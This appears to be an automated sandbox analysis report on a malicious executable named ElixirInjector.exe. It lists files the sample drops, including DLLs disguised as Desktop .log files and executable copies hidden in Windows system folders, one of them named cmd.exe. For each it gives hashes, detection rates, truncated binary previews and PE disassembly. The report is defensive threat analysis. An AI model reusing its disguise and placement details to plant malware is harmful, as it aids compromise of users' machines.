                                                                                            SHA-256:B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
                                                                                            SHA-512:90D5F6C334B8064ED6DD002B03C57CEBBFAC1620D6CB2B79103DB0369D3A4FD82DB092E675F387AB0BDFE20303D9AC37F4E150896FC333E6F83B00269F012236
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 4%
                                                                                            • Antivirus: Virustotal, Detection: 1%, Browse
                                                                                            Joe Sandbox View:
                                                                                            • Filename: OneDriveStandaloneUpdater.exe, Detection: malicious, Browse
                                                                                            • Filename: Udzp7lL5ns.exe, Detection: malicious, Browse
                                                                                            • Filename: eP6sjvTqJa.exe, Detection: malicious, Browse
                                                                                            • Filename: YGk3y6Tdix.exe, Detection: malicious, Browse
                                                                                            • Filename: Etqq32Yuw4.exe, Detection: malicious, Browse
                                                                                            • Filename: qNdO4D18CF.exe, Detection: malicious, Browse
                                                                                            • Filename: LzmJLVB41K.exe, Detection: malicious, Browse
                                                                                            • Filename: k1iZHyRK6K.exe, Detection: malicious, Browse
                                                                                            • Filename: PbfYaIvR5B.exe, Detection: malicious, Browse
                                                                                            • Filename: d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exe, Detection: malicious, Browse
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................=... ...@....... ....................................@..................................<..W....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................=......H.......<&.............................................................................................................*V...}................*.*.0..C.......(....o.......(....(....o.......(....s......(...........o....o.....*..0..'.......s.......(....o.....o........,..o......*..................0.............{........&.r...p.{....r;..p(....}.....s....}.....{........[.{.....{....o....(....s....rQ..po.....{.....{....o....(....s....ra..po......{....s....}.....{..........+.{.....{..

                                                                                            C:\Users\user\Desktop\DvqGSnXS.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):33792
                                                                                            Entropy (8bit):5.541771649974822
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                                            SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                                            SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                                            SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 38%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\EbKwZRsK.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):85504
                                                                                            Entropy (8bit):5.8769270258874755
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E9CE850DB4350471A62CC24ACB83E859
                                                                                            SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                                                            SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                                                            SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 71%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                                                            C:\Users\user\Desktop\TxvLlrMg.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24064
                                                                                            Entropy (8bit):5.4346552043530165
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:1DCDE09C6A8CE8F5179FB24D0C5A740D
                                                                                            SHA1:1A2298CB4E9CAB6F5C2894266F42D7912EDD294B
                                                                                            SHA-256:1F02230A8536ADB1D6F8DADFD7CA8CA66B5528EC98B15693E3E2F118A29D49D8
                                                                                            SHA-512:5D3D5B9E6223501B2EE404937C62893BDDB735A2B8657FAFF8C8F4CED55A9537F2C11BA97734F72360195C35CE6C0BF1EC4AAAFD77AB569919B03344ADFD9D77
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 6%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.....V...........t... ........@.. ....................................@..................................s..S.................................................................................... ............... ..H............text....T... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................s......H........Q..."...........O......................................................................................................................................................................xHz9..T....[.y..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\VHSMlJrg.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):22016
                                                                                            Entropy (8bit):5.41854385721431
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:BBDE7073BAAC996447F749992D65FFBA
                                                                                            SHA1:2DA17B715689186ABEE25419A59C280800F7EDDE
                                                                                            SHA-256:1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
                                                                                            SHA-512:0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 9%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\mPirFwXv.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):50176
                                                                                            Entropy (8bit):5.723168999026349
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:2E116FC64103D0F0CF47890FD571561E
                                                                                            SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                                                            SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                                                            SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 17%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\rCAqismj.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):23552
                                                                                            Entropy (8bit):5.519109060441589
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                                                            SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                                                            SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                                                            SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 8%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\uAazTYNi.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):32256
                                                                                            Entropy (8bit):5.631194486392901
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                                            SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                                            SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                                            SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 25%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                            C:\Users\user\Desktop\wxCHpYcd.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):69632
                                                                                            Entropy (8bit):5.932541123129161
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                                            SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                                            SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                                            SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 50%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                                            C:\Windows\BitLockerDiscoveryVolumeContents\ad448380f74670

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:ASCII text, with very long lines (607), with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):607
                                                                                            Entropy (8bit):5.880315306333281
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:3C4E33EABB0B50079F45809014C16F12
                                                                                            SHA1:19BC594BA1D4EF89A63E9077BF8C029F9E0FA48C
                                                                                            SHA-256:B05D971FB0503E1DB45A5599168A5DF8017D48268643E6E11EE2200616D0ABB2
                                                                                            SHA-512:2666B0ECE6882641B0A48A82C117EC21707E1E9CB2C9EE1CE0FD61CE61AD1D50DDF5CD501773AC2DDDD30157FAA10328E92B64BEACBC530F83DA91AA2F0E2FF0
                                                                                            Malicious:false
                                                                                            Preview:iUJWqL98PQlhkQDrsI6kUi2w60uIT1Ucw2KHRoekd6l3OKWXGwJmIaQAbXZ0a0pX5JvrF5aDnVHY69hwdXCgsrUVmKq4OoJmQO7FZoRKWG8wT2Db0nWDyJpNyZF5Pgy9MeHsCbWzG1KlshCtHODlRGxHitR9iV40R9kyvUZYQh679DeRXWyBcNrGqAKSKXQu6TUt7N8wypUuJ0IeO9mMh3XERdIuKGO3QLAptvUKXBNx27601pDKuDND6PbdFNmraad7zcvdpcygqkLUhR2eDDJM86tdU1EJYfWce8AZ4kfROrXVEH6xUHoXRQ92tRJyXpHKOt0iQdkch18RjXZM4RzR08LN9Hpmar4jkMHVQYg0gL0ZSsTV263GzzTPhmiJy8Bz7YrWQD5gu8upIv5RyTueyxuu31xozXCiJAc4B6FyAWV1FoHwqRVeOhBJn6dYQRrX5LfHSBQ1O5ebb2oOuA8hBiUm9TQEdqitp863IAeoBdPSDjrvSOoPSJVW13H9vMYhXuwd6vGugTghTBjalewOCSagmjBP2f3yFs5SxOzgI4t9mxD0UrXQaJfEUQ0Wt01AZrclFQmXpPFIia3zfL5KHnY5M08

                                                                                            C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            C:\Windows\Microsoft.NET\ad448380f74670

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):285
                                                                                            Entropy (8bit):5.779422007295367
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:B5408A1765DC7A02363164A6A5F7CE5E
                                                                                            SHA1:275CA349DA646456CEEB5B3DF182B864516DB3CE
                                                                                            SHA-256:8DBF8B9D8508ADAF05A175CFC78F6FD760DAB6BFF515890D8E71F1149AD9AFBC
                                                                                            SHA-512:33C55DDFC17A6C9EDA935DCEF9F6A336276AEDB89B8581B0C33018353A744C0CE33B89680F467A65D1EC21A61D29F05ECCB32C5C0608E23A6E578BC8A02EE2E9
                                                                                            Malicious:false
                                                                                            Preview:hDj008mSenK784cBo5OwN4RAo9RgN9qHpUHb7QFGX4HZB8lTdaD4ypEnvjM0qGFf7CSowADYzHZSw28qY8Dw5wT9QdqYDPaRzmb9p7gcWpEqQv03kgcrCSjLtSXSUpUkrIdJa9AackaQrmtemxxgwsOgDQPWjNIrUe9ISrclgBPc2TdGj2qh1xx936GKtn1Ocs5MnkM5UMAvcvouwIxqhk0gr9OWkS22KA9JXQd8quMpxCgHSWXl0Kr12YfnV0UCTIlbweWfpyAwYKtpdGEO5RCATIQ8v

                                                                                            C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            C:\Windows\ShellComponents\cmd.exe (copy)

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):150484992
                                                                                            Entropy (8bit):0.19755066131239787
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:E18151C31580AA91CEB01099DE4277B2
                                                                                            SHA1:979C02265019C77ADA5578B1CFC1A98A65F5F095
                                                                                            SHA-256:2A01AA8E358B9A949A198CA22EA8FA189990D3004467E600136142D7D97E3D08
                                                                                            SHA-512:C7CEAE4B46C186C8F36ACA7B6334E116BD42E9A164CCF382F4F29298CAC4790BA1BEA7E90DDB738A6DE925890202BFE65D606A83C9C13665701CA9C712DC915A
                                                                                            Malicious:true
                                                                                            Antivirus:
                                                                                            • Antivirus: ReversingLabs, Detection: 58%
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f.................$ ..........B .. ...` ...@.. ........................ ...........@..................................B .K....` . ..................... ...................................................... ............... ..H............text...." .. ...$ ................. ..`.rsrc... ....` ......& .............@....reloc........ ......* .............@..B.................B .....H.......T...................S...B ......................................0..........(.... ........8........E............*...N...8....*(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0..Q....... ........8........E....)...........r.......M.......8$...8.... ....~....{}...:....& ....8....8.... ....~....{o...9....& ....8.......... ....~....{k...:x...& ....8m...~....(_... .... .... ....s....~....(c....... ....~....{p...:-...& ....8"...

                                                                                            \Device\Null

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\PING.EXE
                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):502
                                                                                            Entropy (8bit):4.626625764922207
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:F0EAEA542079990977F609030765551E
                                                                                            SHA1:3C3394CBC24F7FBB5B1E59615722A29494B47D98
                                                                                            SHA-256:F6A5F7729AD59B9301ADD7210115FB260E2D678A6EC6C2B00FB7D0332CB174B8
                                                                                            SHA-512:D1F04687D75E043172CBBB30AA8C87FDC6A9032BA18BF4BA884F794307F0E0FFBD4C514A7D1522E7CC0608C2910D71FE0977E9AADC391E1C22BE3CF0FD89D2EF
                                                                                            Malicious:false
                                                                                            Preview:..Pinging 899552 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

                                                                                            Static File Info

                                                                                            General

                                                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                            Entropy (8bit):7.932041672489681
                                                                                            TrID:
                                                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                            • DOS Executable Generic (2002/1) 0.02%
                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                            File name:ElixirInjector.exe
                                                                                            File size:1'968'011 bytes
                                                                                            MD5:04095b54d4245dca4aeb05310a2ddc8a
                                                                                            SHA1:4d5bc54fade2e8af35d36ae0cab2c0f835cb7334
                                                                                            SHA256:7014e9a725d8449f588d906d671771ccbf2c253d603205818a5af782a02e320c
                                                                                            SHA512:f666c5f973a67aeb3d56b2055884267f2fd892634c2267dbd0e29965285dc05d876658fa944100bafe572b66061a8a7caefd3b1e650ee9302ae229255a8a854f
                                                                                            SSDEEP:49152:OB8cSz7LU1B6RIML97yovHGfx8UINTPWUznpd:QEvKB6WMBvqnIJx
                                                                                            TLSH:AF9523027CC585B2C1A21D372B3AEA11693CBD705F69DEDB7384199ECA305D0EB35B62
                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

                                                                                            File Icon

                                                                                            Icon Hash:072d8d4ccdcf4f13

                                                                                            Static PE Info

                                                                                            General

                                                                                            Entrypoint:0x41f530
                                                                                            Entrypoint Section:.text
                                                                                            Digitally signed:false
                                                                                            Imagebase:0x400000
                                                                                            Subsystem:windows gui
                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                            Time Stamp:0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
                                                                                            TLS Callbacks:
                                                                                            CLR (.Net) Version:
                                                                                            OS Version Major:5
                                                                                            OS Version Minor:1
                                                                                            File Version Major:5
                                                                                            File Version Minor:1
                                                                                            Subsystem Version Major:5
                                                                                            Subsystem Version Minor:1
                                                                                            Import Hash:12e12319f1029ec4f8fcbed7e82df162

                                                                                            Entrypoint Preview

                                                                                            Instruction
                                                                                            call 00007F0578B73C3Bh
                                                                                            jmp 00007F0578B7354Dh
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            push ebp
                                                                                            mov ebp, esp
                                                                                            push esi
                                                                                            push dword ptr [ebp+08h]
                                                                                            mov esi, ecx
                                                                                            call 00007F0578B66397h
                                                                                            mov dword ptr [esi], 004356D0h
                                                                                            mov eax, esi
                                                                                            pop esi
                                                                                            pop ebp
                                                                                            retn 0004h
                                                                                            and dword ptr [ecx+04h], 00000000h
                                                                                            mov eax, ecx
                                                                                            and dword ptr [ecx+08h], 00000000h
                                                                                            mov dword ptr [ecx+04h], 004356D8h
                                                                                            mov dword ptr [ecx], 004356D0h
                                                                                            ret
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            push ebp
                                                                                            mov ebp, esp
                                                                                            push esi
                                                                                            mov esi, ecx
                                                                                            lea eax, dword ptr [esi+04h]
                                                                                            mov dword ptr [esi], 004356B8h
                                                                                            push eax
                                                                                            call 00007F0578B769DFh
                                                                                            test byte ptr [ebp+08h], 00000001h
                                                                                            pop ecx
                                                                                            je 00007F0578B736DCh
                                                                                            push 0000000Ch
                                                                                            push esi
                                                                                            call 00007F0578B72C99h
                                                                                            pop ecx
                                                                                            pop ecx
                                                                                            mov eax, esi
                                                                                            pop esi
                                                                                            pop ebp
                                                                                            retn 0004h
                                                                                            push ebp
                                                                                            mov ebp, esp
                                                                                            sub esp, 0Ch
                                                                                            lea ecx, dword ptr [ebp-0Ch]
                                                                                            call 00007F0578B66312h
                                                                                            push 0043BEF0h
                                                                                            lea eax, dword ptr [ebp-0Ch]
                                                                                            push eax
                                                                                            call 00007F0578B76499h
                                                                                            int3
                                                                                            push ebp
                                                                                            mov ebp, esp
                                                                                            sub esp, 0Ch
                                                                                            lea ecx, dword ptr [ebp-0Ch]
                                                                                            call 00007F0578B73658h
                                                                                            push 0043C0F4h
                                                                                            lea eax, dword ptr [ebp-0Ch]
                                                                                            push eax
                                                                                            call 00007F0578B7647Ch
                                                                                            int3
                                                                                            jmp 00007F0578B77F17h
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            int3
                                                                                            push 00422900h
                                                                                            push dword ptr fs:[00000000h]

                                                                                            Rich Headers

                                                                                            Programming Language:
                                                                                            • [ C ] VS2008 SP1 build 30729
                                                                                            • [IMP] VS2008 SP1 build 30729

                                                                                            Data Directories

                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x3d0700x34.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x3d0a40x50.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x640000xc3e8.rsrc
                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x710000x233c.reloc
                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x3b11c0x54.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x355f80x40.rdata
